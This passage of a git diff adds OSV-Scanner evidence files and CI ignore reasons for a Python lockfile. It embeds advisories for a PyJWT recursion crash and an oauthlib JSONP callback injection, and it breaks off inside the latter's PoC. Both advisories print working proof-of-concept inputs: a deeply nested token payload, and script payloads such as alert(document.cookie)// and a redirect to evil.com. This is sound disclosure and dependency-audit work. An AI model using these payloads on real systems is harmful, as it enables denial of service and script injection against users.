versions:** confirmed present in the current release, 2.14.0,\nand on the current `master` branch (commit `4adcd02722f5011c60079d3978dfc167b9a8eaa5`).\n\n## Reproduction\n\n```python\nimport base64, json, jwt\n\ndef b64url(b):\n return base64.urlsafe_b64encode(b).rstrip(b\"=\")\n\nheader = b64url(json.dumps({\"alg\": \"HS256\", \"typ\": \"JWT\"}).encode())\npayload = b64url(b\"[\" * 20_000 + b\"]\" * 20_000)\ntoken = (header + b\".\" + payload + b\".\" + b64url(b\"forged-sig\")).decode()\n\njwt.decode(token, options={\"verify_signature\": False})\n# raises: RecursionError (not DecodeError/InvalidTokenError/PyJWTError)\n```\n\nControl: the same deeply-nested structure moved into the token's **header**\ninstead of its payload is correctly converted to `jwt.DecodeError` by the\nalready-hardened `jwt/api_jws.py:360` — confirming the payload path is\nspecifically the missed half of the v2.14.0 hardening, not a general gap.\n\n## Impact assessment\n\nUnauthenticated denial-of-service via unhandled exception on an auth path.\nNot an auth bypass — rated medium. With signature verification enabled,\nthis parse runs after `_verify_signature`, so only the pre-verification\npaths (`get_signing_key_from_jwt`, explicit `verify_signature=False`) are\nattacker-reachable pre-auth; the JWKS-endpoint variant requires control of\n(or a MITM on) the configured JWKS endpoint rather than being reachable\nfrom an arbitrary client token.\n\n## Suggested fix\n\nIn `jwt/api_jwt.py:299`, change `except ValueError as e:` to\n`except (ValueError, RecursionError) as e:`, mirroring\n`jwt/api_jws.py:360` exactly. In `jwt/jwks_client.py`, add the same\n`(ValueError, RecursionError)` handling around `json.load(response)` in\n`fetch_data`, raising `PyJWKClientError` (consistent with the method's\nexisting documented error contract). A patch implementing both, verified\nagainst the full test suite (457 passed, 4 skipped — pre-existing,\nenvironment-related) and against the reproduction above (now correctly\nraises `DecodeError`), is attached (`fix.patch`).\n\n## Discovery method\n\nFound and verified using `scopegrep` (https://github.com/not-ekalabya/scopegrep)\n— a semantic code-retrieval tool that surfaces every other call site of a\nsymbol alongside relevance-ranked results, which is what surfaced the\nalready-hardened header path as the direct comparison here — paired with\nan LLM coding agent (GLM-5.3) run as an open-ended security review of this\nrepository. Independently reproduced against the exact commit above before\nthis report was written. Happy to share the full session transcript on\nrequest.\n\n## Disclosure status\n\nNot shared with any other party or published. Submitting through this\nprivate channel per the project's stated security policy; no planned\npublic/conference disclosure ahead of a coordinated timeline.\n\n\n---\n\n## Maintainer triage update (2026-09-22)\n\n### Confirmed finding and scope\n\nWe confirmed that an attacker-controlled recursively nested JWT payload can cause a raw Python `RecursionError` to escape PyJWT at PyJWT 2.14.0 and the tested current source. The confirmed in-scope paths are direct decoding with `verify_signature=False` and `PyJWKClient.get_signing_key_from_jwt`, where payload parsing occurs before key lookup.\n\nThe demonstrated impact is limited to an uncaught exception for the affected call, which may surface as an application HTTP 500 when the application does not catch it. Testing did not demonstrate a worker or process crash, persistent resource exhaustion, resource amplification, authentication bypass, or confidentiality or integrity impact.\n\nThe separate JWKS-response subclaim is out of scope under the policy boundary that requires the application to trust its configured JWKS source and transport. The confirmed payload finding is not a duplicate of the earlier protected-header parser finding: it occurs in a distinct payload parsing path that remained affected after the earlier header-only fix.\n\n### Version and remediation status\n\nHistorical testing reproduced the confirmed payload behavior in all 20 official supported PyJWT 2.x releases from 2.0.0a1 through 2.14.0, inclusive. Unsupported PyJWT 1.7.1 also reproduces the behavior, but it is excluded from the advisory range under the supported-2.x policy. No supported unaffected release and no patched release exists. The exact evidence is `/.codex/security-advisories/pyjwt/GHSA-42vr-xj54-vc7v-historical-range-20260922.md` (SHA-256 `c48f1ac35641e9382d53e6a879a71ad9a8fb4432bbe871f2b8330f8d166a2d81`) and `/.codex/security-advisories/pyjwt/historical-range-42vr-20260922/historical-range-results.json` (SHA-256 `324997f231561bf6da39b8f9d1e272f69bfde8871a7863f5cb7b70e22e91f076`). The evidence-backed supported affected range is `\u003e= 2.0.0a1, \u003c= 2.14.0`.\n\nHistorical range verification is complete. A local fix commit exists and has passed independent review and the complete local CI suite, but it has not been merged into `master` or released. Consequently, `patched_versions` remains empty and this advisory remains in `triage`. The remaining next step is a maintainer decision on remediation and merge. After a fix lands in `master` and is released, `patched_versions` and advisory lifecycle can be updated in a separate approved batch.\n\n---\n\n## Maintainer remediation update (2026-09-23)\n\nThe confirmed payload-parser finding has been fixed on `master`. Commit\n`5fde08a6cf906aa7698de2d6391d88b73006b17b` converts a recursive\npayload parse failure to the expected `DecodeError`; commit\n`9bc06658f875b9b40091539140bbbdc4639161c3` makes the regression tests\ndeterministic across supported Python versions. This update supersedes the\n2026-09-22 remediation-status statement that the fix had not landed.\n\nThe original pre-verification payload reproducer and the\n`PyJWKClient.get_signing_key_from_jwt` path were covered by regression tests.\nThe exact landed tree passed the full 39-environment local tox matrix and\nGitHub CI for commit `9bc06658f875b9b40091539140bbbdc4639161c3` passed\nall 25 jobs, including Ubuntu Python 3.14 and 3.15. The demonstrated impact\nremains an uncaught request-level exception in affected releases; there is\nstill no evidence of process termination, persistent resource exhaustion,\nauthentication bypass, or confidentiality or integrity impact.\n\nThe supported affected range remains `\u003e= 2.0.0a1, \u003c= 2.14.0`. The latest\nreleased version is 2.14.0, which predates these commits; no released\npatched version exists yet, so `patched_versions` remains unset. CVSS v3.1\n5.3 (Medium) and CWE-248 remain unchanged. The advisory may now move from\ntriage to private draft. The next lifecycle step is a new supported 2.x\nrelease containing the fix, followed by separately approved patched-version\nand publication updates after release verification.\n\n---\n\n## Maintainer release update (2026-09-23)\n\nPyJWT 2.15.0 is the first released version containing the payload-parser fix. Its GitHub release tag points to commit `1d41a6478e1562e68ff667fcd703356acf085f68`, which includes fix commit `5fde08a6cf906aa7698de2d6391d88b73006b17b` and deterministic regression-test commit `9bc06658f875b9b40091539140bbbdc4639161c3`. PyPI published both the wheel and source distribution from that release commit through the successful production workflow at https://github.com/jpadilla/pyjwt/actions/runs/35891602963.\n\nThe published PyPI wheel (`pyjwt-2.15.0-py3-none-any.whl`, SHA-256 `7a3742debf6b879e912dbb9819ceec1594be812452b78c5f2e2dfc56564954f8`) was checked directly: the deeply nested unsigned payload now raises `DecodeError`, while an ordinary unsigned payload still decodes. The supported affected range remains `\u003e= 2.0.0a1, \u003c= 2.14.0`; the patched version is `2.15.0`. Earlier statements in this advisory that no released patched version exists are superseded by this update.\n\nThe confirmed impact remains an uncaught request-level exception in affected versions, not a demonstrated process crash or authentication bypass. The separate JWKS-response subclaim remains outside this advisory's confirmed PyJWT-owned scope.", + "id": "GHSA-42vr-xj54-vc7v", + "modified": "2026-09-30T16:00:09.812873551Z", + "published": "2026-09-30T15:41:05Z", + "references": [ + { + "type": "WEB", + "url": "https://github.com/jpadilla/pyjwt/security/advisories/GHSA-42vr-xj54-vc7v" + }, + { + "type": "ADVISORY", + "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-101918" + }, + { + "type": "WEB", + "url": "https://github.com/jpadilla/pyjwt/commit/5fde08a6cf906aa7698de2d6391d88b73006b17b" + }, + { + "type": "PACKAGE", + "url": "https://github.com/jpadilla/pyjwt" + }, + { + "type": "WEB", + "url": "https://github.com/jpadilla/pyjwt/releases/tag/2.15.0" + } + ], + "schema_version": "1.9.0", + "severity": [ + { + "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L", + "type": "CVSS_V3" + } + ], + "summary": "PyJWT: Unauthenticated RecursionError DoS in pre-verification payload parse (PyJWKClient.get_signing_key_from_jwt / verify_signature=False)" + } + ] + } + ] + } + ], + "experimental_config": { + "licenses": { + "summary": false, + "allowlist": null + } + } +} diff --git a/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-candidate-osv-current-config-rescan.txt b/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-candidate-osv-current-config-rescan.txt new file mode 100644 index 000000000..36799d1a0 --- /dev/null +++ b/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-candidate-osv-current-config-rescan.txt @@ -0,0 +1,154 @@ +argv: ["rtk", "proxy", "/osv-scanner", "scan", "source", "--config", "/ci-config.toml", "--no-resolve", "--lockfile=requirements.txt:/candidate.lock", "--format", "json"] +cwd: +started_utc: 2026-09-30T16:09:27.378658+00:00 +ended_utc: 2026-09-30T16:09:28.082317+00:00 +exit_code: 1 + +stdout: +{ + "results": [ + { + "source": { + "path": "/candidate.lock", + "type": "lockfile" + }, + "packages": [ + { + "package": { + "name": "pyjwt", + "version": "2.14.0", + "ecosystem": "PyPI" + }, + "groups": [ + { + "ids": [ + "GHSA-42vr-xj54-vc7v" + ], + "aliases": [ + "CVE-2026-101918", + "GHSA-42vr-xj54-vc7v" + ], + "max_severity": "5.3" + } + ], + "vulnerabilities": [ + { + "affected": [ + { + "database_specific": { + "last_known_affected_version_range": "\u003c= 2.14.0", + "source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/09/GHSA-42vr-xj54-vc7v/GHSA-42vr-xj54-vc7v.json" + }, + "package": { + "ecosystem": "PyPI", + "name": "pyjwt", + "purl": "pkg:pypi/pyjwt" + }, + "ranges": [ + { + "events": [ + { + "introduced": "2.0.0a1" + }, + { + "fixed": "2.15.0" + } + ], + "type": "ECOSYSTEM" + } + ], + "versions": [ + "2.0.0", + "2.0.0a1", + "2.0.0a2", + "2.0.1", + "2.1.0", + "2.10.0", + "2.10.1", + "2.11.0", + "2.12.0", + "2.12.1", + "2.13.0", + "2.14.0", + "2.2.0", + "2.3.0", + "2.4.0", + "2.5.0", + "2.6.0", + "2.7.0", + "2.8.0", + "2.9.0" + ] + } + ], + "aliases": [ + "CVE-2026-101918" + ], + "database_specific": { + "cwe_ids": [ + "CWE-248" + ], + "github_reviewed": true, + "github_reviewed_at": "2026-09-30T15:41:05Z", + "nvd_published_at": "2026-09-28T21:17:13Z", + "severity": "MODERATE" + }, + "details": "## Summary\n\n`PyJWKClient.get_signing_key_from_jwt(token)` — the first step of the JWKS\nverification flow documented in `docs/usage.rst` — must decode a token's\npayload before its signature can be checked, via\n`jwt.api_jwt.decode_complete(token, options={\"verify_signature\": False})`.\nThat call parses the payload with `json.loads` in `PyJWT._decode_payload`\n(`jwt/api_jwt.py:297-300`), whose `except` clause catches only `ValueError`.\nA payload that is valid JSON but nested ~20,000 levels deep makes\n`json.loads` raise `RecursionError`, which is **not** a `ValueError` and\nescapes as a raw, undocumented exception type — not `DecodeError`,\n`InvalidTokenError`, or `PyJWTError`, so every documented error-handling\npattern in `docs/usage.rst` misses it.\n\nThe token needs no valid signature and no network access — the crash\nhappens during payload parsing, before the `kid` is even looked up. A\nsingle unauthenticated ~50KB request crashes the caller's auth handler\n(HTTP 500 / dead worker), repeatably. The same path is reachable through\nplain `jwt.decode(token, options={\"verify_signature\": False})` too.\n\nNotably, this project already fixed the **identical** bug class for the\nJWS **header** path — `PyJWS._load` catches `(ValueError, RecursionError)`\nand wraps it in `DecodeError` (`jwt/api_jws.py:360-361`), and\n`CHANGELOG.rst` (v2.14.0, \"Security\") states \"Handle deeply nested and\nmalformed JWS/JWK input without uncaught recursion errors.\" The payload\npath — the one part of a forged token an unauthenticated attacker fully\ncontrols — was left catching `ValueError` alone, so that security fix does\nnot fully hold.\n\nA second, related instance: `PyJWKClient.fetch_data` (`jwt/jwks_client.py:168`)\nparses a JWKS endpoint's response with `json.load(response)` inside a\n`try` that only catches `(URLError, TimeoutError, http.client.HTTPException)`\n— a deeply-nested JSON response from a JWKS endpoint raises the same raw\n`RecursionError`, uncaught entirely (worse than the payload path, which at\nleast caught plain `ValueError`).\n\n**Affected versions:** confirmed present in the current release, 2.14.0,\nand on the current `master` branch (commit `4adcd02722f5011c60079d3978dfc167b9a8eaa5`).\n\n## Reproduction\n\n```python\nimport base64, json, jwt\n\ndef b64url(b):\n return base64.urlsafe_b64encode(b).rstrip(b\"=\")\n\nheader = b64url(json.dumps({\"alg\": \"HS256\", \"typ\": \"JWT\"}).encode())\npayload = b64url(b\"[\" * 20_000 + b\"]\" * 20_000)\ntoken = (header + b\".\" + payload + b\".\" + b64url(b\"forged-sig\")).decode()\n\njwt.decode(token, options={\"verify_signature\": False})\n# raises: RecursionError (not DecodeError/InvalidTokenError/PyJWTError)\n```\n\nControl: the same deeply-nested structure moved into the token's **header**\ninstead of its payload is correctly converted to `jwt.DecodeError` by the\nalready-hardened `jwt/api_jws.py:360` — confirming the payload path is\nspecifically the missed half of the v2.14.0 hardening, not a general gap.\n\n## Impact assessment\n\nUnauthenticated denial-of-service via unhandled exception on an auth path.\nNot an auth bypass — rated medium. With signature verification enabled,\nthis parse runs after `_verify_signature`, so only the pre-verification\npaths (`get_signing_key_from_jwt`, explicit `verify_signature=False`) are\nattacker-reachable pre-auth; the JWKS-endpoint variant requires control of\n(or a MITM on) the configured JWKS endpoint rather than being reachable\nfrom an arbitrary client token.\n\n## Suggested fix\n\nIn `jwt/api_jwt.py:299`, change `except ValueError as e:` to\n`except (ValueError, RecursionError) as e:`, mirroring\n`jwt/api_jws.py:360` exactly. In `jwt/jwks_client.py`, add the same\n`(ValueError, RecursionError)` handling around `json.load(response)` in\n`fetch_data`, raising `PyJWKClientError` (consistent with the method's\nexisting documented error contract). A patch implementing both, verified\nagainst the full test suite (457 passed, 4 skipped — pre-existing,\nenvironment-related) and against the reproduction above (now correctly\nraises `DecodeError`), is attached (`fix.patch`).\n\n## Discovery method\n\nFound and verified using `scopegrep` (https://github.com/not-ekalabya/scopegrep)\n— a semantic code-retrieval tool that surfaces every other call site of a\nsymbol alongside relevance-ranked results, which is what surfaced the\nalready-hardened header path as the direct comparison here — paired with\nan LLM coding agent (GLM-5.3) run as an open-ended security review of this\nrepository. Independently reproduced against the exact commit above before\nthis report was written. Happy to share the full session transcript on\nrequest.\n\n## Disclosure status\n\nNot shared with any other party or published. Submitting through this\nprivate channel per the project's stated security policy; no planned\npublic/conference disclosure ahead of a coordinated timeline.\n\n\n---\n\n## Maintainer triage update (2026-09-22)\n\n### Confirmed finding and scope\n\nWe confirmed that an attacker-controlled recursively nested JWT payload can cause a raw Python `RecursionError` to escape PyJWT at PyJWT 2.14.0 and the tested current source. The confirmed in-scope paths are direct decoding with `verify_signature=False` and `PyJWKClient.get_signing_key_from_jwt`, where payload parsing occurs before key lookup.\n\nThe demonstrated impact is limited to an uncaught exception for the affected call, which may surface as an application HTTP 500 when the application does not catch it. Testing did not demonstrate a worker or process crash, persistent resource exhaustion, resource amplification, authentication bypass, or confidentiality or integrity impact.\n\nThe separate JWKS-response subclaim is out of scope under the policy boundary that requires the application to trust its configured JWKS source and transport. The confirmed payload finding is not a duplicate of the earlier protected-header parser finding: it occurs in a distinct payload parsing path that remained affected after the earlier header-only fix.\n\n### Version and remediation status\n\nHistorical testing reproduced the confirmed payload behavior in all 20 official supported PyJWT 2.x releases from 2.0.0a1 through 2.14.0, inclusive. Unsupported PyJWT 1.7.1 also reproduces the behavior, but it is excluded from the advisory range under the supported-2.x policy. No supported unaffected release and no patched release exists. The exact evidence is `/.codex/security-advisories/pyjwt/GHSA-42vr-xj54-vc7v-historical-range-20260922.md` (SHA-256 `c48f1ac35641e9382d53e6a879a71ad9a8fb4432bbe871f2b8330f8d166a2d81`) and `/.codex/security-advisories/pyjwt/historical-range-42vr-20260922/historical-range-results.json` (SHA-256 `324997f231561bf6da39b8f9d1e272f69bfde8871a7863f5cb7b70e22e91f076`). The evidence-backed supported affected range is `\u003e= 2.0.0a1, \u003c= 2.14.0`.\n\nHistorical range verification is complete. A local fix commit exists and has passed independent review and the complete local CI suite, but it has not been merged into `master` or released. Consequently, `patched_versions` remains empty and this advisory remains in `triage`. The remaining next step is a maintainer decision on remediation and merge. After a fix lands in `master` and is released, `patched_versions` and advisory lifecycle can be updated in a separate approved batch.\n\n---\n\n## Maintainer remediation update (2026-09-23)\n\nThe confirmed payload-parser finding has been fixed on `master`. Commit\n`5fde08a6cf906aa7698de2d6391d88b73006b17b` converts a recursive\npayload parse failure to the expected `DecodeError`; commit\n`9bc06658f875b9b40091539140bbbdc4639161c3` makes the regression tests\ndeterministic across supported Python versions. This update supersedes the\n2026-09-22 remediation-status statement that the fix had not landed.\n\nThe original pre-verification payload reproducer and the\n`PyJWKClient.get_signing_key_from_jwt` path were covered by regression tests.\nThe exact landed tree passed the full 39-environment local tox matrix and\nGitHub CI for commit `9bc06658f875b9b40091539140bbbdc4639161c3` passed\nall 25 jobs, including Ubuntu Python 3.14 and 3.15. The demonstrated impact\nremains an uncaught request-level exception in affected releases; there is\nstill no evidence of process termination, persistent resource exhaustion,\nauthentication bypass, or confidentiality or integrity impact.\n\nThe supported affected range remains `\u003e= 2.0.0a1, \u003c= 2.14.0`. The latest\nreleased version is 2.14.0, which predates these commits; no released\npatched version exists yet, so `patched_versions` remains unset. CVSS v3.1\n5.3 (Medium) and CWE-248 remain unchanged. The advisory may now move from\ntriage to private draft. The next lifecycle step is a new supported 2.x\nrelease containing the fix, followed by separately approved patched-version\nand publication updates after release verification.\n\n---\n\n## Maintainer release update (2026-09-23)\n\nPyJWT 2.15.0 is the first released version containing the payload-parser fix. Its GitHub release tag points to commit `1d41a6478e1562e68ff667fcd703356acf085f68`, which includes fix commit `5fde08a6cf906aa7698de2d6391d88b73006b17b` and deterministic regression-test commit `9bc06658f875b9b40091539140bbbdc4639161c3`. PyPI published both the wheel and source distribution from that release commit through the successful production workflow at https://github.com/jpadilla/pyjwt/actions/runs/35891602963.\n\nThe published PyPI wheel (`pyjwt-2.15.0-py3-none-any.whl`, SHA-256 `7a3742debf6b879e912dbb9819ceec1594be812452b78c5f2e2dfc56564954f8`) was checked directly: the deeply nested unsigned payload now raises `DecodeError`, while an ordinary unsigned payload still decodes. The supported affected range remains `\u003e= 2.0.0a1, \u003c= 2.14.0`; the patched version is `2.15.0`. Earlier statements in this advisory that no released patched version exists are superseded by this update.\n\nThe confirmed impact remains an uncaught request-level exception in affected versions, not a demonstrated process crash or authentication bypass. The separate JWKS-response subclaim remains outside this advisory's confirmed PyJWT-owned scope.", + "id": "GHSA-42vr-xj54-vc7v", + "modified": "2026-09-30T16:00:09.812873551Z", + "published": "2026-09-30T15:41:05Z", + "references": [ + { + "type": "WEB", + "url": "https://github.com/jpadilla/pyjwt/security/advisories/GHSA-42vr-xj54-vc7v" + }, + { + "type": "ADVISORY", + "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-101918" + }, + { + "type": "WEB", + "url": "https://github.com/jpadilla/pyjwt/commit/5fde08a6cf906aa7698de2d6391d88b73006b17b" + }, + { + "type": "PACKAGE", + "url": "https://github.com/jpadilla/pyjwt" + }, + { + "type": "WEB", + "url": "https://github.com/jpadilla/pyjwt/releases/tag/2.15.0" + } + ], + "schema_version": "1.9.0", + "severity": [ + { + "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L", + "type": "CVSS_V3" + } + ], + "summary": "PyJWT: Unauthenticated RecursionError DoS in pre-verification payload parse (PyJWKClient.get_signing_key_from_jwt / verify_signature=False)" + } + ] + } + ] + } + ], + "experimental_config": { + "licenses": { + "summary": false, + "allowlist": null + } + } +} + +stderr: +Warning: `source` exists as both a subcommand of OSV-Scanner and as a file on the filesystem. `source` is assumed to be a subcommand here. If you intended for `source` to be an argument to `source`, you must specify `source source` in your command line. +Starting filesystem walk for root: / +Scanned /candidate.lock file and found 174 packages +End status: 0 dirs visited, 1 inodes visited, 1 Extract calls, 20.025793ms elapsed, 20.025873ms wall time +GHSA-hj66-6f7g-4r5v and 1 alias have been filtered out because: oauthlib 0.6.1 through 3.3.1 (fixed in 4.0.0): RevocationEndpoint wraps its response in the request's callback parameter only when constructed with enable_jsonp=True (oauthlib/oauth2/rfc6749/endpoints/revocation.py:72-73 and 81-82 in 3.3.1); oauthlib's pre-configured servers never pass it. Two allowed locks pin 3.3.1: the OpenHands recipe lock and the frozen, evaluation-only Lumibot lock (run offline under bwrap). A text search of one hash-verified artifact per requirement of both locks found no enable_jsonp or create_revocation_response and no importer of oauthlib's endpoints, grant types or servers: oauthlib is imported only by requests-oauthlib 2.0.0 (client classes, token errors and helpers) and, in the Lumibot lock, kubernetes 36.0.3 (an exception class); every other RevocationEndpoint is Authlib's own class, and Authlib does not import oauthlib. Evidence: evidence/receipts/osv-oauthlib-pyjwt-reachability-20260929.json and, for the OpenHands lock at its relocked sha256, evidence/receipts/osv-openhands-pyjwt-relock-20260930.json. Expiry plan: the OpenHands lock was relocked onto PyJWT 2.14.0 on 2026-09-30 and still pins oauthlib 3.3.1; as of 2026-09-30, oauthlib 4.0.0 (PyPI, 2026-09-28T06:01Z) was inside the 7-day window the upstream workspace's exclude-newer applies (until 2026-10-05T06:01:19Z), so the relock onto it follows, tracked in #518 (owner: bc, session native-agent-stack-bc; earliest 2026-10-05T18:40:43Z, when PyJWT 2.15.1 has left its window too; due 2026-10-08), and in the same change deletes the OpenHands entry of IGNORE_ALLOWED_LOCKS, whose sha256 pin fails any change to that lock. The Lumibot lock stays frozen on 3.3.1, so on 2026-10-13 renew this ignore for that lock alone with a new dated reason, or delete that lock. +GHSA-xpv3-w29h-x7cv and 1 alias have been filtered out because: oauthlib >= 3.0.0, < 4.0.0 (fixed in 4.0.0; the scanned locks pin 3.3.1): an oauthlib authorization server compares the PKCE code_verifier with == (code_challenge_method_s256 at oauthlib/oauth2/rfc6749/grant_types/authorization_code.py:49 and code_challenge_method_plain at :61, in 3.3.1), called only from AuthorizationCodeGrant.validate_token_request (line 506) when a token endpoint handles a request. Neither allowed lock (the OpenHands recipe lock and the frozen Lumibot lock) runs an oauthlib authorization server: in a text search of one hash-verified artifact per requirement of both locks, oauthlib is imported only by requests-oauthlib 2.0.0 (WebApplicationClient, LegacyApplicationClient, the oauth1 Client, token errors and helpers) and, in the Lumibot lock, kubernetes 36.0.3 (an exception class), and nothing imports oauthlib's grant types, endpoints or servers; the PKCE code in openhands-sdk, requests-oauthlib and google-auth-oauthlib only generates a verifier as a client. Evidence: evidence/receipts/osv-oauthlib-pyjwt-reachability-20260929.json and, for the OpenHands lock at its relocked sha256, evidence/receipts/osv-openhands-pyjwt-relock-20260930.json. Expiry plan: as for GHSA-hj66-6f7g-4r5v; the OpenHands relock onto oauthlib 4.0.0 removes that lock's pin, and on 2026-10-13 this ignore is renewed for the frozen Lumibot lock alone or that lock is deleted. +Filtered 2 vulnerabilities from output +/ci-config.toml has unused ignores: + - GHSA-8mgp-746c-j5xp + - GHSA-h35f-9h28-mq5c diff --git a/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-candidate-osv-empty-config.json b/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-candidate-osv-empty-config.json new file mode 100644 index 000000000..999118a89 --- /dev/null +++ b/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-candidate-osv-empty-config.json @@ -0,0 +1,234 @@ +{ + "results": [ + { + "source": { + "path": "/candidate.lock", + "type": "lockfile" + }, + "packages": [ + { + "package": { + "name": "oauthlib", + "version": "3.3.1", + "ecosystem": "PyPI" + }, + "groups": [ + { + "ids": [ + "GHSA-hj66-6f7g-4r5v" + ], + "aliases": [ + "CVE-2026-49264", + "GHSA-hj66-6f7g-4r5v" + ], + "max_severity": "6.1" + }, + { + "ids": [ + "GHSA-xpv3-w29h-x7cv" + ], + "aliases": [ + "CVE-2026-49265", + "GHSA-xpv3-w29h-x7cv" + ], + "max_severity": "6.8" + } + ], + "vulnerabilities": [ + { + "affected": [ + { + "database_specific": { + "last_known_affected_version_range": "\u003c= 3.3.1", + "source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/09/GHSA-hj66-6f7g-4r5v/GHSA-hj66-6f7g-4r5v.json" + }, + "package": { + "ecosystem": "PyPI", + "name": "oauthlib", + "purl": "pkg:pypi/oauthlib" + }, + "ranges": [ + { + "events": [ + { + "introduced": "0.6.1" + }, + { + "fixed": "4.0.0" + } + ], + "type": "ECOSYSTEM" + } + ], + "versions": [ + "0.6.1", + "0.6.2", + "0.6.3", + "0.7.0", + "0.7.1", + "0.7.2", + "1.0.0", + "1.0.1", + "1.0.2", + "1.0.3", + "1.1.0", + "1.1.1", + "1.1.2", + "2.0.0", + "2.0.1", + "2.0.2", + "2.0.3", + "2.0.4", + "2.0.5", + "2.0.6", + "2.0.7", + "2.1.0", + "3.0.0", + "3.0.1", + "3.0.2", + "3.1.0", + "3.1.1", + "3.2.0", + "3.2.1", + "3.2.2", + "3.3.0", + "3.3.1" + ] + } + ], + "aliases": [ + "CVE-2026-49264" + ], + "database_specific": { + "cwe_ids": [ + "CWE-79" + ], + "github_reviewed": true, + "github_reviewed_at": "2026-09-29T17:53:41Z", + "nvd_published_at": null, + "severity": "MODERATE" + }, + "details": "### Summary\n\nWhen `enable_jsonp=True`, oauthlib's `RevocationEndpoint` reflects the user-supplied `callback` parameter directly into JavaScript response bodies on both success and error paths without validating that it is a legal JSONP callback name. This allows arbitrary JavaScript response generation instead of a restricted function call, making the documented JSONP revocation feature unsafe for browser-based JSONP consumption when attackers can influence `callback`.\n\n### Details\n\nThe issue is in `oauthlib/oauth2/rfc6749/endpoints/revocation.py`.\n\nWhen `enable_jsonp=True` is passed to the `RevocationEndpoint` constructor, two code paths wrap the response body using the user-supplied `request.callback` parameter:\n\n```python\n# Error response path (line 72-73):\nif self.enable_jsonp and request.callback:\n response_body = '{}({});'.format(request.callback, response_body)\n\n# Success response path (line 81-82):\nif self.enable_jsonp and request.callback:\n response_body = request.callback + '();'\n```\n\nThe `request.callback` value comes from HTTP request parameters, either the query string or POST body, via the `Request` class in `oauthlib/common.py` (lines 394-395), which merges query and body parameters into `_params`. Any value the client sends as `callback` is used verbatim.\n\nThere is no validation of any kind on the callback parameter:\n- No check that it is a valid JavaScript identifier\n- No whitelist of allowed characters\n- No escaping or sanitization\n\nA safe JSONP implementation must validate that the callback is a legal JavaScript function name (e.g., matching `^[a-zA-Z_$][a-zA-Z0-9_$.]*$`). Without this, the attacker controls the JavaScript code returned in the response body. This is the standard mitigation used by jQuery, Express.js, Google APIs, and other major JSONP implementations.\n\n**How the injection works:**\n\nAn attacker sends a revocation request with a crafted callback value:\n\n```\nPOST /revoke HTTP/1.1\nContent-Type: application/x-www-form-urlencoded\n\ntoken=anything\u0026callback=alert(document.cookie)//\n```\n\nThe server responds with:\n\n```\nalert(document.cookie)//({\"error\": \"invalid_client\"});\n```\n\nThis is syntactically valid JavaScript. `alert(document.cookie)` executes as a statement, and `//` comments out the rest of the line. The attacker has full control over the code that appears before the `//`.\n\n**Execution context and attack surface:**\n\nJSONP works by having a browser load a remote script via `\u003cscript src=\"...\"\u003e`. The loaded script executes in the origin of the **including page**, not the remote server. This means a `\u003cscript src=\"https://auth.example.com/revoke?token=x\u0026callback=payload\"\u003e` tag on `evil.com` would execute the payload in `evil.com`'s context, not the auth server's context.\n\nThe impact comes from client-side integrations that consume this endpoint as trusted JSONP. If a legitimate OAuth client includes `\u003cscript src\u003e` pointed at the revocation endpoint and an attacker can influence the callback value (e.g., via query parameter injection, a reflected value, or a man-in-the-middle downgrade), the attacker controls what code runs in the client application's origin. The authorization server becomes a source of attacker-controlled JavaScript that client applications trust and execute.\n\nNote: the `enable_jsonp` parameter defaults to `False`, so only deployments that explicitly opt in are affected. However, this is a supported, documented library feature, not a debug flag. The client-side library includes `prepare_token_revocation_request()` with an explicit `callback` parameter (`oauthlib/oauth2/rfc6749/parameters.py`, line 174), and the documentation shows JSONP revocation as a use case (`oauthlib/oauth2/rfc6749/clients/base.py`, lines 351-358). The existing test suite tests JSONP callback reflection with a benign value (`test_revocation_endpoint.py`, lines 91-101) but does not test for injection. Deployments that enable JSONP typically do so to support older browsers or cross-origin revocation from JavaScript clients, these are exactly the environments most sensitive to script injection.\n\n### PoC\n\n**Requirements:** Python 3.x with oauthlib installed (`pip install oauthlib`).\n\n```python\nfrom oauthlib.oauth2.rfc6749.endpoints.revocation import RevocationEndpoint\nfrom oauthlib.oauth2.rfc6749.request_validator import RequestValidator\n\n\nclass FailValidator(RequestValidator):\n \"\"\"Auth fails -\u003e triggers error response path (lines 72-73).\"\"\"\n def client_authentication_required(self, request, *a, **kw): return True\n def authenticate_client(self, request, *a, **kw): return False\n def authenticate_client_id(self, client_id, request, *a, **kw): return False\n\n\nclass PassValidator(RequestValidator):\n \"\"\"Auth passes -\u003e triggers success response path (lines 81-82).\"\"\"\n def client_authentication_required(self, request, *a, **kw): return False\n def authenticate_client_id(self, client_id, request, *a, **kw): return True\n def revoke_token(self, token, token_type_hint, request, *a, **kw): pass\n\n\npayloads = [\n \"alert(document.cookie)//\",\n \"window.location='https://evil.com/'//\",\n \"eval('malicious')//\",\n]\n\n# --- Error path (401) ---\nprint(\"Error path (enable_jsonp=True, auth fails):\")\nep_fail = RevocationEndpoint(FailValidator(), enable_jsonp=True)\nfor p in payloads:\n h, body, status = ep_fail.create_revocation_response(\n \"https://auth.example.com/revoke\", http_method=\"POST\",\n body=f\"token=x\u0026callback={p}\")\n assert p in body, \"Payload not reflected\"\n print(f\" [{status}] Content-Type: {h.get('Content-Type','(none)')} Body: {body}\")\n\n# --- Success path (200) ---\nprint(\"\\nSuccess path (enable_jsonp=True, revocation succeeds):\")\nep_pass = RevocationEndpoint(PassValidator(), enable_jsonp=True)\nfor p in payloads:\n h, body, status = ep_pass.create_revocation_response(\n \"https://auth.example.com/revoke\", http_method=\"POST\",\n body=f\"token=x\u0026callback={p}\")\n assert p in body, \"Payload not reflected\"\n print(f\" [{status}] Content-Type: {h.get('Content-Type','(none)')} Body: {body}\")\n\n# --- Control (default: enable_jsonp=False) ---\nprint(\"\\nControl (enable_jsonp=False, default):\")\nep_safe = RevocationEndpoint(FailValidator(), enable_jsonp=False)\n_, body, status = ep_safe.create_revocation_response(\n \"https://auth.example.com/revoke\", 